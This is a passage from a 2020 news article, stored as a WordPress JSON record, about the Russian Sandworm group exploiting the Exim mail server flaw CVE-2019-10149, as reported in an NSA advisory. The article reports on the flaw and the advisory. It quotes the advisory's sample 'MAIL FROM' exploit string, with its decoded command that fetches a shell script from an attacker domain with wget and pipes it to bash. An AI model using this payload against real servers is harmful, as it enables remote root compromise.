{"id":16972,"date":"2020-05-29T13:14:00","date_gmt":"2020-05-29T13:14:00","guid":{"rendered":"https:\/\/icrowdnewswire.com\/?p=2574676"},"modified":"2020-05-29T13:14:00","modified_gmt":"2020-05-29T13:14:00","slug":"russian-hackers-are-exploiting-bug-that-gives-control-of-us-servers","status":"publish","type":"post","link":"https:\/\/ipsnews.net\/business\/2020\/05\/29\/russian-hackers-are-exploiting-bug-that-gives-control-of-us-servers\/","title":{"rendered":"Russian hackers are exploiting bug that gives control of US servers"},"content":{"rendered":"

Sandworm group uses emails to send root commands to buggy Exim servers.<\/h2>\n
\n

A Russian hacking group tied to power-grid attacks in Ukraine, the world’s most destructive data wiper worm, and other nefarious Kremlin operations is exploiting a vulnerability that allows it to take control of computers operated by the US government and its partners.<\/p>\n

In an advisory published on Thursday<\/a>, the US National Security Agency said that the Sandworm group was actively exploiting a vulnerability in Exim, an open source mail transfer agent, or MTA, for Unix-based operating systems. Tracked as CVE-2019-10149<\/a>, the critical bug makes it possible for an unauthenticated remote attacker to send specially crafted emails that execute commands with root privileges. With that, the attacker can install programs of their choosing, modify data, and create new accounts.<\/p>\n

A patch CVE-2019-10149 has been available since last June. The attacks have been active since at least August. NSA officials wrote:<\/p>\n

\n

The actors exploited victims using Exim software on their public facing MTAs by sending a command in the “MAIL FROM” field of an SMTP (Simple Mail Transfer Protocol) message. Below is a sample, which contains parameters the actor would modify per deployment.<\/p>\n

MAILFROM:<${run{\\x2Fbin\\x2Fsh\\tc\\t\\x22exec\\x20\\x2Fusr\\x2Fbin\\x2Fwget\\x20\\x2DO\\x20\\x2D\\x20http\\:\\x2F\\x2F\\hostapp.be\\x2Fscript1.sh\\x20\\x7C\\ x20bash\\x22}}@hostapp.be>\r\nHex decoded command:\r\n\/bin\/sh -c \"exec \/usr\/bin\/wget -O - http:\/\/hostapp.be\/script1.sh | bash\"<\/pre>\n
Figure 1: Sample “MAIL FROM” exploitation command<\/p>\n
When CVE-2019-10149 is successfully exploited, an actor is able to execute code of their choosing. When Sandworm exploited CVE-2019-10149, the victim machine would subsequently download and execute a shell script from a Sandworm-controlled domain. This script would attempt to do the following on the victim machine: add privileged users disable network security settings update SSH configurations to enable additional remote access execute an additional script to enable follow-on exploitation.<\/p>\n<\/blockquote>\n
Thursday’s advisory said the hackers worked for a specific unit, known as the Main Center for Special Technologies, that’s within the GRU, or Russia’s Main Intelligence Directorate. There is general agreement among security researchers that the hacking group working on behalf of this unit has been responsible for some of the most ambitious and destructive cyberattacks in recent years.<\/p>\n
Examples include:<\/p>\n